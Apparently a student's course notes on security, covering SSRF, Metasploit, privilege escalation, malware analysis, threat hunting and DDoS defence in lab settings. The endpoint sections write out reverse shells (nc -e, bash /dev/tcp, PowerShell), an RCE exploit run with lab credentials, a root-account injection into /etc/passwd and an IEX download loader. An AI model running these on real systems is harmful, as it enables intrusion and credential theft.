這個資料夾,會對應到網頁上的 `http://somesite.com/site` **現代 Web 應用程式(例如 Node.js、Django、Flask 這種)** 是用「HTTP 路由(Routing)」來處理的, 也就是: * `/site` 這個 URL 是由程式「定義」出來的 * 不一定硬碟上真的有 `/site` 這個資料夾或檔案 * 程式會自己決定接到 `/site` 時,要回傳什麼內容,不一定跟檔案路徑有關 * HTTP 路由(Routing) 可以讓開發者設定某個資源只能透過特定的 HTTP 請求方法存取 - 可能可以用 GET 方法去讀取資料(顯示畫面) - 但無法用 POST 方法去提交資料 ## Web Application Threats ### SSRF(Server-Side Request Forgery) SSRF 是指攻擊者設法誘使伺服器去發送自己控制的請求,通常目的是: * 讓伺服器訪問原本不應訪問的內部資源(例如內網 API、雲端元資料伺服器) * 讓伺服器發送請求到外部惡意伺服器 * 進一步嘗試攻擊其他系統(橫向移動) > **關鍵點:伺服器變成攻擊者的代理人,去發送惡意請求。** **常見的 SSRF 攻擊流程** 1. 使用者提交一個 URL,應用程式伺服器根據這個 URL 下載或訪問資源。 1. 攻擊者提交一個特製的 URL,例如指向內部資源的 `http://127.0.0.1/admin`。 > 只要伺服器有根據使用者輸入的URL去發出請求,就可能被提交特製URL導致SSRF。 > 例如: 上傳圖片或文件時提供URL、API請求轉送(Proxy功能) 3. 伺服器無防備地處理這個請求,意外地訪問了本地管理介面,內部API,甚至內部網段(例如 `10.x.x.x`、`192.168.x.x`)的敏感資源。 # 21 Attacking Endpoints ## Initial Compromise ### Locating and Using Public Exploits use [Exploit-Database](https://www.exploit-db.com/) to see if there are any public exploits available for the system Downloading the exploit from Exploit-DB ``` wget https://www.exploit-db.com/download/51903 -O gibbon_rce.py ``` Running the exploit and executing whoami on the target ``` python gibbon_rce.py cmshost 80/gibbon justin.williams@megacorpone.com DFaye7680 whoami ``` #### **The following use Netcat to create a reverse shell** Put Netcat on the attacker's server ``` sudo cp -f /usr/bin/nc /var/www/html sudo chmod 777 /var/www/html/nc sudo systemctl start apache2 ``` * Copy Netcat (nc) to the web directory of the Apache server so that the victim can download the nc tool via HTTP * Change permissions to ensure nc can read, write and execute * Start the Apache web server so that the victim's machine can download Netcat from `http://hackerIP/nc` exploit(downlaod the malicious file) on victim's host ``` python gibbon_rce.py cmshost 80/gibbon justin.williams@megacorpone.com DFaye7680 "wget http://192.168.48.130:80/nc" ``` * connect to attacker's web server and download malicious nc binary check if it download success on victim's host ``` python gibbon_rce.py cmshost 80/gibbon justin.williams@megacorpone.com DFaye7680 "ls -l | grep nc" ``` change permission on victim's nc file ``` python gibbon_rce.py 192.168.50.125 80/gibbon justin.williams@megacorpone.com DFaye7680 "chmod 777 nc" ``` kali being as a listener ``` sudo nc -lvp 4444 ``` * before attack, make kali as a listener to receive the connection from target * `-l` (listen): Indicates that Netcat enters listening mode and waits for other devices to connect. * `-v `(verbose): turns on verbose (詳細) mode, allowing the terminal to display more information for easier debugging. * `-p 4444` (port): specifies the listening port number 4444, waiting for other devices to connect. attack ``` python gibbon_rce.py 192.168.50.125 80/gibbon justin.williams@megacorpone.com DFaye7680 "./nc -e /bin/bash 192.168.48.2 4444" ``` * `-e /bin/bash`: Let Netcat execute `/bin/bash` after the connection is established, so that the attacker can obtain Shell privileges * `192.168.48.2 4444` : attacker's IP,used to receive reverse shell --- ### Endpoint Hacking Frameworks start metasploit ``` msfconsole ``` search certain module ``` search mssql ->No module specified search mssql type:exploit search apache type:scanner search apache type:auxiliary ``` choose certain exploit/modules ``` use auxiliary/scanner/portscan/tcp use exploit/windows/mssql/mssql_payload ``` * we can use some `scanner` modules to scan first, confirm the information and then use `exploit` to attack. **After selecting a specific exploit/modules** ``` info ``` ``` show options ``` ``` set RHOSTS set LHOST ``` ``` exploit ``` ### Client-Side Attacks Client-side attacks mainly exploit vulnerabilities or specific features of local software or applications (such as browsers, operating system components, or office software) to allow victims to execute malicious code on their devices. Once the victim opens our carefully crafted malicious file or visits a malicious website, we are able to execute code on their machine and gain access to the internal network Search for exploits for Firefox ``` msf6 > search browser/firefox ``` choose module ``` msf6 > use exploit/multi/browser/firefox_jit_use_after_free ``` * Our goal is to create a URL that will trigger the vulnerability and execute our malicious code after the victim visits it ``` show options ``` ``` exploit ``` * created a custom URL (`http://172.28.218.3:8080/nIMZNkrFQcAT`) we can deliver to a potential victim * Once victim access to this URL,enter our web page, which is hosting the exploit code, and we will have compromised their system. ## Post-exploitation ### Living Off the Land(LOTL) Use existing tools on the victim computer to perform tasks related to the attack, the purpose is to use these legal tools to cover up illegal actions. **(1)Windows as victim** use RDP to open window ``` rdesktop -u Peter -p lab 192.168.50.120 ``` Setting up the netcat listener ``` sudo nc -lvp 4444 ``` window PowerShell reverse shell ``` $sm=(New-Object Net.Sockets.TCPClient('192.168.48.2',4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} ``` **(2)Linux as victim** Logging in to the Linux target via SSH ``` ssh justin@cmshost ``` Setting up the netcat listener ``` sudo nc -lvp 4444 ``` Initiating a remote connection with Bash ``` bash -i >& /dev/tcp/192.168.48.2/4444 0>&1 ``` --- ### Windows Privilege Escalation **Windows privilege levels** - System: This privilege level is used by the operating system and some services. - High: This privilege level is used by the accounts inside the Administrators group. - Medium: This privilege level is used by standard users. **Information we should gather as part of the privilege escalation process** - Username and hostname - Group memberships of the current user - Existing users and groups - Operating system, version and architecture - Network information - Installed applications - Running processes --- **Display local users** view all user accounts on your local computer ``` Get-LocalUser ``` **Display local security groups** enumerate the local security groups ``` Get-LocalGroup ``` **View the current computer's network connection status** show us all active connections and the IP associated with each connection ``` netstat -an ``` * State (applicable only to TCP connections) - `LISTENING` → The server is listening to a port, waiting for a connection - `ESTABLISHED` → The connection has been established and data is being transmitted - `CLOSE_WAIT `→ The remote end requests to close the connection, waiting for the local end to close - `TIME_WAIT` → After the connection is closed, temporarily keep it open to ensure that the other end receives the close confirmation **Built-in commands for querying commands** ``` Get-Command sqlcmd ``` * we can use this command to verify if sqlcmd is present on the system **Logging into the MSSQL server** ``` sqlcmd -S 127.0.0.1 -U sa ``` * after logging into SQL server, do some query - `SELECT name FROM sys.databases;` - `GO` --- **Enabling xp_cmdshell** `xp_cmdshell` is an Extended Stored Procedure(延伸儲存程序) built into SQL Server that allows SQL Server to directly execute commands from the Windows Command Prompt (CMD) 1.Switch to the master database ``` USE master GO ``` * `master` is the system database of SQL Server * When executing system-level configuration changes such as `xp_cmdshell`, you must do so in the master database 2.Show SQL Server Advanced Configuration Options ``` EXEC sp_configure 'show advanced options', 1; GO ``` * `show advanced options, 1` makes advanced options visible, because `xp_cmdshell` is an advanced option 3.Apply the settings you just changed ``` RECONFIGURE GO ``` * Make sure `show advanced options` is enabled 4.Enable `xp_cmdshell` ``` EXEC sp_configure 'xp_cmdshell', 1; GO ``` 5.Apply changes again ``` RECONFIGURE GO ``` 6.execute cmd command ``` EXEC xp_cmdshell 'dir C:\'; GO ``` ``` xp_cmdshell 'whoami' GO ``` ``` EXEC xp_cmdshell 'ping google.com'; GO ``` --- ### Linux Privilege Escalation Using `linPEAS` for Privilege Escalation Information Gathering 1.Install peass on Kali Linux ``` sudo apt update && sudo apt install peass -y ``` 2.Preparing `linPEAS` for transfer to the target machine ``` sudo cp /usr/share/peass/linpeas/linpeas.sh /var/www/html sudo chmod 777 /var/www/html/linpeas.sh sudo systemctl start apache2 ``` * Copy `linpeas.sh` to the `/var/www/html` directory of the Apache server so that the target machine can download the script via HTTP * Kali Linux will act as an HTTP server, allowing the target machine(victim) to use wget or curl to download `linpeas.sh` and execute it on the target machine 3. Download and execute linPEAS on the target Linux machine ``` wget http://192.168.48.130/linpeas.sh ``` ``` chmod +x linpeas.sh ``` 4. Run linPEAS and analyze the options * Displays all available options for linPEAS ``` ./linpeas.sh -h ``` 1.`-a` → perform all checks (may take a long time) 2.`-o` → Only perform specific checks 3.`-q` → Hide headers to reduce output noise * Run linPEAS ``` ./linpeas.sh -o interesting_perms_files -q ``` focusing on checking Problematic file permissions 5.view the problem file ``` ls -l /etc/passwd ``` * after scanneriing, found that `/etc/passwd` have some problem 6.Create a new root account * because we found that `/etc/passwd` have write permission for all users , so we can create a new root account * file permission - `/etc/passwd`:It is readable by all users (-rw-r--r--), because the system needs it to identify the user, but the password field has been replaced by an x. - `/etc/shadow`:Only the root user can read it (-r--------), ensuring the security of the password. 6-1. generate the password ``` openssl passwd w00tw00t ``` * generate the password hash using openssl with the passwd argument. * the output will like this `$1$4bui.Hau$EiygImYE1gt7q3wFiMHLP.` 6-2. add a line to `/etc/passwd` ``` echo "root2:\$1\$4bui.Hau\$EiygImYE1gt7q3wFiMHLP.:0:0:root:/root:/bin/bash" >> /etc/passwd ``` * `0:0`→ UID=0, GID=0, indicating that this account is root 7. change to root user ``` su root2 ``` --- ### Password Cracking Cracking Linux root account password using John the Ripper (JTR) #### 1. access to target machine Gaining administrative privileges on a Linux target machine ``` ssh justin@192.168.50.125 echo "root2:\$1\$4bui.Hau\$EiygImYE1gt7q3wFiMHLP.:0:0:root:/root:/bin/bash" >> /etc/passwd su root2 id ``` #### 2. get `/etc/shadow` and `/etc/passwd` do it on target machine ``` cat /etc/shadow | grep root cat /etc/passwd | grep root ``` save these two file to our kali machine, `shadow.txt` and `passwd.txt` #### 3. Merge `/etc/shadow` and `/etc/passwd` ``` unshadow passwd.txt shadow.txt > password.txt ``` * Combined into a format that John the Ripper can analyze #### 4. use John the Ripper to crack the password look at the available options for john ``` john --help ``` unzip wordlist provide by kali ``` cd /usr/share/wordlists sudo gunzip rockyou.txt.gz ``` Cracking ``` sudo john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt password.txt ``` * `--format=crypt`(because target system is **Ubuntu** or **UNIX**,using **yescrypt**) * `--format=md5crypt` * `--format=sha256crypt` * `--format=sha512crypt` * `--format=bcrypt` * `--format=NT` # 22 Defense Evasion ## Common ways to bypass network security measures * IP Spoofing * Protocol Manipulation * Tunneling * Mixing IPv4 and IPv6 - If a firewall blocks only IPv4 traffic, attackers can bypass the firewall by accessing services via IPv6. * TCP and UDP protocols - only block TCP but not block UDP - `nc 192.168.50.101 8080 -w 1` -->TCP - `echo "UDP test" | nc -u 192.168.50.101 8080` -->UDP ## malware avoid anti-virus detection ### hide on hard drive ### stay in memory * Executes in the computer's memory (RAM) rather than writing to the hard drive * This makes it more difficult for antivirus software to detect because programs in memory are not permanently stored on the hard drive. # 23 offensive cloud fundamentals Tactics, Techniques and Procedures (TTPs) ### Enumeration of apps hosted in the Azure Cloud Services ``` site:cloudapp.net site:azurewebsites.net site:cloudapp.net offsec.com site:azurewebsites.net "offensive security" ``` # 25 SOC Management Processes AIDE、splunk (log)、 AlienVault、Nagios 、Nessus、Bloodhound ## AIDE(Advanced Intrusion Detection Environment) **install:** ``` sudo apt-get update ``` ``` sudo apt install aide -y ``` **Edit AIDE Configuration File:** ``` sudo nano /etc/aide/aide.conf ``` ``` MYRULE=p+n+u+g+s+m+c+xattrs+md5+sha512 /etc MYRULE !/proc !/home !/run !/var ``` * `MYRULE=p+n+u+g+s+m+c+xattrs+md5+sha512` - `MYRULE`: rule's name - `p`: permission - `n`: number of links - `m`:修改時間(mtime) - `md5`:MD5 value * `/etc MYRULE` - Tell AIDE to monitor the `/etc` directory and all files under it and apply the `MYRULE` rule **Initialize the AIDE database** ``` sudo aideinit ``` **TEST** 1. DO NOT DO ANYTHING check conf file ``` sudo aide -c /etc/aide/aide.conf ``` * It will show `AIDE found NO differences between database and filesystem. Looks okay!!` 2.revise certain file revise ``` echo -e "# New Comment\n$(cat /etc/pam.conf)" | sudo tee /etc/pam.conf > /dev/null ``` * Add a comment line at the beginning of the `/etc/pam.conf` file `# New Comment` check conf file ``` sudo aide -c /etc/aide/aide.conf ``` * The following will be displayed ``` --------------------------------------------------- Changed entries: --------------------------------------------------- f > ... mc .H . : /etc/pam.conf ``` --- ## STIX/TAXII STIX 是內容(情報本身),TAXII 是傳輸方式。兩者搭配使用,形成一個完整的威脅情報分享框架 **Structured Threat Information eXpression(結構化威脅資訊表達)** * STIX 是一種標準化語言,用來描述網路威脅的資訊。它就像一本「字典」,定義了如何用統一、結構化的方式表達威脅的細節,例如: - The source of the attack (who initiated it?) - Method of attack (what techniques or tools were used?) **Trusted Automated eXchange of Intelligence Information(可信自動化情報交換)** * TAXII 是一種傳輸協議,定義了如何在不同系統或組織之間安全地分享 STIX 格式的威脅情報。它就像「高速公路」,負責把 STIX 資料從 A 點送到 B 點。 --- ## rootkit check > Rootkit = 用來隱藏惡意程式或後門的隱蔽工具 install ``` sudo apt-get install rkhunter ``` renew ``` sudo rkhunter --update ``` check if system infected by rootkit ``` sudo rkhunter --check ``` * Rootkit (a type of malicious software that allows an attacker to secretly gain control over a system) --- ## Lynis Security Audit Tool install ``` sudo apt update sudo apt install lynis lynis --version ``` execute ``` sudo lynis audit system ``` * **Lynis** checks various security configurations of your system, including: - System Services - User Account - File system permissions - Network Configuration - Installed Software - Core Settings * After the scan is complete, Lynis generates a detailed report that includes: - System security status - Security vulnerabilities discovered - Recommendations for fixing these vulnerabilities --- ## apticron (Ubuntu patch management tool) * It can email out a list of packages which have upgrades - set email at `/etc/apticron` apticron configuration file --- ## Shredding file contents create a file ``` echo "Secret Key=GlaredBeackon" > mysecret ``` show file's hex ``` hexdump mysecret ``` shred the file ``` shred --iterations=2 --zero mysecret ``` * shred 會反覆用亂數覆寫檔案內容,預設是 3 次(你這裡用 --iterations=2,所以是 2 次)。 * --zero 參數意思是:最後再用全零覆寫一遍(讓磁碟看起來比較乾淨,不留下亂碼)。 check file's hex again ``` hexdump mysecret ``` # 26 Malware Analysis ## Basic knowledge 當你點擊一個 `.exe`檔案時,背後發生了什麼? 1. 作業系統介入: 當你雙擊一個 `.exe` 檔案時,作業系統(例如 Windows)會接收到這個指令。 1. 載入到記憶體: 作業系統會從你的硬碟或固態硬碟中找到這個 `.exe` 檔案,並將它的程式碼和相關的資料載入到記憶體中。 1. CPU 執行指令: 一旦程式碼被載入到記憶體,中央處理器(CPU)就會開始從記憶體中逐行讀取和執行這些程式指令。 1. 程式運行: 這就是你看到程式開始運行、顯示視窗、進行計算等等的過程。程式在運行期間,可能會不斷地從記憶體中讀取資料、將結果寫回記憶體,或者呼叫其他的系統函式。 ## Malicious programs and memory * **動態載入惡意程式碼**: 有些惡意程式可能不會將所有的惡意功能都直接寫在 .exe 檔案中。相反,它們可能會先執行一個看似無害的程式,然後在背景偷偷地使用 VirtualAlloc 等函式在記憶體中申請一塊新的空間,並將真正的惡意程式碼下載或解密後寫入這塊記憶體。 * **在記憶體中執行**: 接著,惡意程式會設法讓 CPU 開始執行剛剛寫入到記憶體中的惡意程式碼。由於這段惡意程式碼可能沒有儲存在硬碟上的任何檔案中,因此有時可以躲避一些基於檔案掃描的防毒軟體。 * **注入到其他程式**: 有些惡意程式還會利用記憶體操作將自己的程式碼注入到其他正在運行的正常程式的記憶體空間中,讓惡意程式碼在正常的程式的上下文中執行,更難以被察覺。 ## Memory location ### 虛擬記憶體:程式眼中的記憶體世界 * 作業系統為了更好地管理記憶體,並為每個程式提供一個獨立且一致的記憶體環境,引入了虛擬記憶體的概念。你可以把虛擬記憶體想像成是程式看到的一個「假象」的記憶體世界。 * **獨立的地址空間**: 每個執行中的程式(也稱為「行程」或「進程」)都會被分配一個屬於它自己的、獨立的虛擬地址空間。這個虛擬地址空間就像是一張地圖,程式裡的所有程式碼、資料都被安排在這張地圖上的特定位置,而這些位置就是虛擬位址。 * **一致的起始點**: 為了方便程式的開發和管理,作業系統通常會為每個行程的某些基本區段(例如 .text、.rdata)設定一個預設的起始虛擬位址。在很多情況下,.text 區段的預設起始虛擬位址就是 4096 (或者其他固定的數值,這取決於作業系統和編譯器的設定)。 ### 實際的物理記憶體:幕後功臣 * 然而,程式看到的虛擬位址與電腦硬體中實際的物理記憶體位址是不同的。 * 記憶體管理單元 (MMU): 作業系統中存在一個叫做記憶體管理單元(Memory Management Unit, MMU)的硬體組件,它的工作就是負責將程式使用的虛擬位址轉換成實際的物理記憶體位址。 * **動態映射**: 這個轉換過程是動態的,也就是說,每次程式運行時,相同的虛擬位址可能會被映射到不同的物理記憶體位置。作業系統會根據當時的記憶體使用情況來決定將程式的哪些部分載入到物理記憶體的哪些位置。 ## basic static analyst ### PESudio #### Entropy it's a measure of randomness and unpredictability * High entropy levels in a file can indicate encryption, obfuscation, compression, or packing, which are common characteristics of software specifically designed to evade basic analysis methods. * files with an entropy over 7.2 tend to be malicious #### Strings * may contain information such as file name, path, URL, etc. to help infer the purpose or function of the file #### Indicators * Identify characteristics in profiles that may indicate malicious behavior or an attack * The labels are divided into different levels (level 1-3) - An indicator of 1 indicates a highly suspicious malicious indicator #### `.aiox` file section * Non-standard PE (Portable Executable) section * The presence of this section is very suspicious and may indicate that the file is obfuscated, encrypted, or contains self-modifying code. #### `KERNEL32.dll` * This is a very common basic system library in the Windows operating system, responsible for handling basic functions such as memory management, file operations, and thread control ## Advanced static analyst * tools * IDA Pro * Ghidra ### Disassembling/Decompiling * disassembling 反組譯 - Convert machine code to assembly language(組合語言) - Assembly Language is a lower-level language * decompiling 反編譯 - Convert machine code to a higher-level programming language (such as C, C++) ## Basic Dynamic Analysis using **ProcMon** * `Load Image` - EXE (executable file): a program that can be executed directly - DLL (Dynamic Link Library): A library of code and data that can be called by other programs. ### DLL * DLL(Dynamic Link Library,動態連結程式庫)是 Windows 作業系統中一個非常重要的概念,它就像是程式碼的「共享倉庫」,讓不同的程式可以重複使用相同的程式碼和資源 * 想像一下,很多程式都需要用到「開啟檔案」或「顯示視窗」的功能。如果每個程式都自己寫這些功能的程式碼,會非常浪費資源,DLL 就是把這些常用的功能寫成一個獨立的檔案,讓所有需要這些功能的程式都可以去「呼叫」這個 DLL 裡的程式碼,而不用自己重寫 * 多個程式可以共享同一個 DLL,減少了重複程式碼佔用的記憶體空間 * Windows 作業系統本身就使用了很多 DLL 來提供各種核心功能,例如 `kernel32.dll`、`ntdll.dll` 等 * `kernel32.dll` 的功能可用於檔案操作、建立系統程序、隱藏惡意軟體、修改系統配置等 * `ws2_32.dll` ,負責提供網路連線功能 * 載入極少量程式庫(如 kernel32.dll 和 ws2_32.dll)可能是惡意軟體的特徵 ## Advanced dynamic analyst ### modern malware techniques 惡意軟體(Malware): * 現代的惡意軟體經常使用加密(encrypt)技術來隱藏它們的真正目的(payload,也就是實際執行的程式碼)。 * 它們會將這些加密過的程式碼放在記憶體中,等到要執行的時候才進行解密(decrypt)。 * 這樣做的目的是為了繞過防毒軟體或安全工具的偵測,因為這些工具通常會掃描硬碟上的檔案,但對於記憶體中加密的程式碼卻無能為力。 注入技術(Injection Techniques): * 解密後的程式碼(payload)通常不會直接在惡意軟體自己的程序中執行,而是會被「注入」到另一個正常的程序中執行。 * 這樣做可以讓惡意軟體的行為看起來像是正常的程序在執行,進一步增加隱蔽性。 ### debugger * Detecting Difficult Situations: - When malware uses memory decryption and injection techniques, traditional analysis tools (such as ProcMon) cannot effectively detect it. * Importance of debugger: - In this case, a debugger is required for in-depth analysis. - A debugger is a special software that can view and edit the execution state of a program in real time. * Debugger features: - It is possible to attach to a program, execute instructions one by one, and monitor all changes. - Provides a disassembled or decompiled view of a program. - Allows setting breakpoints at specific locations in the code. * Debugger analysis capabilities: - The debugger can be instructed to execute to a point in time where a known payload has been decrypted. - The actual decrypted payload can be inspected in memory. - Provides analytical capabilities that are difficult to achieve with static or basic dynamic analysis. ## Virus Total ![剪取](https://hackmd.io/_uploads/rkmNgxna1x.png) * 從 `KERNEL32.dll` 匯入的兩個函式 - `ExitProcess`: 用於終止目前執行的處理程序及其所有執行緒 - `VirtualAlloc`: 用於在呼叫處理程序的虛擬位址空間中保留、認可或變更記憶體區域的狀態,可用於在記憶體中動態分配空間,這有時被惡意程式利用來載入和執行額外的程式碼 > 想像一下,一個惡意程式想要在你的電腦上偷偷執行一些惡意的操作,例如竊取你的密碼或植入後門程式。為了避免被傳統的防毒軟體輕易偵測到,它可能會採取以下步驟: > 1.申請記憶體空間: 惡意程式會呼叫 `VirtualAlloc` 函式,要求作業系統在它的記憶體空間中分配一塊新的、可寫入的記憶體區域。這個區域一開始可能看起來是空的或包含一些無意義的資料。 > 2.寫入惡意程式碼: 惡意程式會將它想要執行的真正的惡意程式碼(例如,一段用於下載更多惡意軟體的程式碼)寫入剛剛分配的這塊記憶體區域。這段程式碼可能以加密或混淆的形式儲存,以躲避靜態分析。 > 3.修改記憶體屬性: 惡意程式會再次呼叫作業系統的函式(例如 `VirtualProtect`),將剛剛寫入了惡意程式碼的那塊記憶體區域的屬性從「可寫入」更改為「可執行」。這樣一來,處理器就可以將這塊記憶體中的內容視為真正的程式指令來執行。 > 4.執行惡意程式碼: 最後,惡意程式會跳轉到剛剛寫入並標記為可執行的記憶體區域的起始位置,開始執行其中的惡意程式碼。 --- ![section](https://hackmd.io/_uploads/SkRUQe2pkx.png) Lists the different sections in a binary archive, including `.text`, `.rdata`, and `.aiox` * `.text` 區段通常包含程式的可執行程式碼。 * `.rdata` 區段通常包含唯讀資料,例如字串常量。 * `.aiox` 是一個非標準的區段名稱,這在之前的文字中已經被提及,並被懷疑可能包含惡意的有效載荷。 --- ![hoghtlight](https://hackmd.io/_uploads/SJHnUgh6ke.png) * `GetTickCount`: GetTickCount 是 Windows 的一個函式,它會回傳系統自啟動以來經過的毫秒數。 - 惡意軟體可能正在使用 `GetTickCount` 函式來偵測沙箱環境。 * `{"Type": "Metasploit Connect", "IP": "192.168.48.130", "Port": 443}` - 被解碼出來的 JSON 字串 - 惡意軟體試圖建立一個 Metasploit Connect 連線,目標 IP 位址是 192.168.48.130,使用的埠號是 443 # 27 Defensive Security Processes ## Threat Hunting Process Tools: **velociraptor** ### steps to find malicious file: - Log into the Velociraptor's Hunt Manager interface. - Create a new Hunt. - Set the Hunt description to "Hunt for File Hash" and start it immediately - Select the Artifacts feature, and search for and select `Generic.Detection_HashHunter`. - Configure the parameters of Artifact and enter the MD5 hash value (`429cfb76d5160321b5506a848645d728`) of the known malicious file `dropper_ex.exe` as the MD5List variable - Start Hunt. - Monitor the status of the Hunt and the number of clients completed. - When the Hunt is finished, view the results in the Notebook tab. ### Ransom Hunt * Analyzing hunting results - A project named "startup" , which executes a batch script(`start.bat`) located in the home directory of the local Administrator user. - Continuing to review the results, they noticed that a batch file named "`start.bat`" was found on a host named "SRV01". - "`start.bat`" start an executable file located in the "Temp" directory on the "SRV01" host. They noted this as a potential risk, as malware often places itself in temporary directories for execution. * In-depth investigation of suspicious batch files and executable files - Select "Show All", which may display more information about the SRV01 host. - Click the "Client ID" of SRV01, then click the ">_Shell" tab in the upper right corner of the interface. This means they will open a remote shell interface to the SRV01 host. - `type "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat"` 1.View the contents of the "start.bat" batch file. 2.This path is a common startup folder in Windows system. 3.Select Load Output to view the output of the command. - `dir "C:\Users\Default\AppData\Local\Temp\start.exe"` 1.Check if the executable file "start.exe" still exists * Static analysis of suspicious executable files `strings.exe "C:\Users\Default\AppData\Local\Temp\start.exe" | findstr /i MBR` 1.`strings.exe` is used to extract readable strings from executable files 2.The `/i` parameter means ignore case 3.MBR (Master Boot Record) is the boot disk of the hard disk. Ransomware may modify the MBR to prevent the system from booting normally. ## basic knowledge ### **temp (temporary directory)** purposes of temporary directories are: * Provides a space for applications to write temporary data without requiring the user to specify a specific location. * These temporary files are usually (but not always) automatically deleted after the application is closed or the operation is completed, to free up disk space. different OS different directory * Windows:`C:\Windows\Temp` * macOS:`/private/var/folders/<隨機字串>/T/` * Linux:`~/.cache/temp` ## Responding To An Incident ### (1)Confirming the details of the attack Query command example: ``` host="dc01" "EventCode=4625" ``` * `4625`: Represents a Windows logon failure event. * All events come from `CLIENT01`, are for different users (such as SVCSRV, s.taylor), and have the same time (no delay). * Conclusion: Account and password spraying attack from `CLIENT01`. ### (2) Deeper Investigation: Attack Tools and Behaviors Search the PowerShell logs for attack commands: ``` index="windows_powershell" host="CLIENT01" ``` * Time range: 10/18/23 08:09:00 ~ 08:09:10 ``` ComputerName=client01.tech.com User=NOT_TRANSLATED SourceName=Microsoft-Windows-PowerShell Invoke-DomainPasswordSpray -Password Summer2023 ``` * The callback event shows that the *DomainPasswordSpray* tool was used. * Use password: Summer2023 * The subject SID is NOT_TRANSLATED, and subsequent events show it is likely TECH\a.jones. ### (3) Threat Hunting Follow-up Analysis (後續分析) * Scenario: During the hunt on 10/19/23 01:00 AM, a malicious scheduled task was found on `CLIENT01`. * Unknown date, but confirmed to be found in PowerShell history by user `a.jones` * finding Instructions for creating a schedule: ``` index="windows_powershell" host="CLIENT01" ("Register-ScheduledTask" OR "schtasks.exe" OR "at.exe") ``` * When: Before 10/19/23 01:00 AM. ``` Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\Windows\tasks\updater.exe") -Trigger (New-ScheduledTaskTrigger -Daily -At 10:30am) -TaskName "Updater" -User "$env:USERNAME" ``` * The results show that at 10/18/23 08:07:43, a scheduled task was created using *Register-ScheduledTask*. * Executable file: `C:\Windows\tasks\updater.exe` * Schedule: Every day at 10:30 AM, run as the user of the current PowerShell session. ### Proper Noun 1.Kerberos * What is it? Kerberos is a computer network authentication protocol used primarily in Windows domains (Active Directory). * use: Allows users to securely access multiple resources after logging in once (Single Sign-On) without having to repeatedly enter passwords. * How it works: Verify your identity through a "ticket" mechanism to avoid frequent password transmission. 2.Mimikatz * What is it? Mimikatz is an open source Windows password extraction tool that is often used in red team exercises or abused by attackers. * use: The user's plaintext password, NTLM Hash, Kerberos ticket and other credential data can be extracted from the memory. ### Lab (1)Review the events and enter the command that was recorded for the in-memory download of the PowerShell script that was used to perform password spraying * filter:`index="windows_powershell" host="CLIENT01" ("IEX" OR "Invoke-Expression" OR "DownloadString" OR "Invoke-WebRequest" OR "Invoke-RestMethod" OR "Net.WebClient")` * command:`IEX(New-Object System.Net.WebClient).DownloadString("http://192.168.48.130/DomainPasswordSpray.ps1")` - 這是個典型的 PowerShell in-memory 攻擊下載與執行手法 - `New-Object System.Net.WebClient` : 這個物件的用途是用來從網路上下載資料,就像是一個小型的網路瀏覽器 - `.DownloadString("http://192.168.48.130/DomainPasswordSpray.ps1")` : 這是 WebClient 的方法,用來從指定的 URL(這裡是攻擊者的 IP 位址)下載純文字內容,而這份內容是一個 PowerShell 腳本 DomainPasswordSpray.ps1,也就是密碼噴灑工具 - 上個步驟 **❗並沒有把腳本存成檔案,而是下載後存在記憶體裡❗** - `IEX (...)` : 是 PowerShell 中 Invoke-Expression 的縮寫,作用是把字串當成 PowerShell 指令來執行 - 整段翻譯成人話: **「從 `http://192.168.48.130/DomainPasswordSpray.ps1` 下載一段 PowerShell 腳本,然後直接在記憶體中執行它」** ## Evidence Handling metadata hardware write blocker # 29 Ransomware, DDoS, and Availability ## Cloudflare 防禦 DDoS 的主要運作方式 1. 全球分散式網路 (Anycast Network) * Cloudflare在全球有超過300個資料中心。 * 當有人訪問你網站時,流量會被導向最近的Cloudflare節點。 * 如果遇到DDoS攻擊,攻擊流量會被分散到全球各地,每個節點只承受一小部分,避免單一地點癱瘓。 2. 流量清洗(Traffic Scrubbing) * Cloudflare節點會即時分析流量,辨識正常流量與異常流量。 * 異常流量(如超大量請求、惡意請求)會直接在邊緣清除,不讓它們打到你的伺服器。 * 只把乾淨的、合法的流量轉送到你的網站。 3. DDoS 攻擊自動偵測與防護 (Autonomous DDoS Mitigation) * Cloudflare有AI與機器學習系統持續監控流量。 * 當流量異常(超出平常模式)時,系統能在3秒內自動啟動防護規則,無需人工介入。 * 例如自動封鎖某些 IP、限制某些地區的流量速率。 4. Rate Limiting (速率限制) * 設定某個 IP 在一定時間內可以訪問的最大次數。 * 超過的話,自動封鎖或限制速度,避免被少量 IP 瘋狂刷爆網站。 5. SSL/TLS 加速與保護 * Cloudflare同時處理HTTPS加密連線,避免DDoS攻擊者利用TLS握手來消耗你的伺服器資源(像Mantis那種攻擊)。 * 他們自己有大量的硬體資源來處理這些加密負擔。 ### 攻擊手法:利用TLS握手發動DDoS * 不需要傳送很多資料,只要大量重複發起TLS握手請求,就能讓你的伺服器超級忙。 * 你的伺服器會花一堆CPU去跟成千上萬個攻擊連線做加密計算,即使這些連線後來沒傳資料也無所謂。 * 久而久之,你的伺服器CPU爆了,網站變慢甚至掛掉。 這種叫做**TLS-based DDoS**,Mantis Botnet就是用這種招式來瘋狂打擊目標的! ### 那Cloudflare是怎麼幫你防? * 攻擊者連的不是你的伺服器,是Cloudflare的伺服器。 * TLS握手這個超消耗資源的動作,是Cloudflare的節點自己處理掉。 * Cloudflare有專門優化過、超大規模部署的硬體設備,專門為大量TLS握手設計的,不容易被打爆。 * 處理完後,只有合法、安全的連線才轉到你的網站後端,所以你的伺服器完全不用擔心被TLS握手耗盡CPU。 簡單說就是: > Cloudflare用自己的肌肉幫你扛下來了。你的伺服器不用直接對抗攻擊者。 # 30 Wi-Fi Security ## Early Wi-Fi standards (IEEE 802.11) 為了提高傳輸的可靠性和抗干擾能力所使用的兩種主要的擴頻技術 * 直接序列擴頻(DSSS)Direct-Sequence Spread-Spectrum - 它就像是把原本的資料打散成很多更小的碎片,然後在一個比較寬的頻道上同時傳送出去。這個頻道寬度是 22 兆赫茲(MHz) - 全球定位系統(GPS)和 Zigbee 這個無線技術就是用這種方法的。 * 跳頻擴頻(FHSS) Frequency Hopping Spread-Spectrum - 它就像是讓傳輸的訊號在不同的頻率之間快速地跳來跳去 - 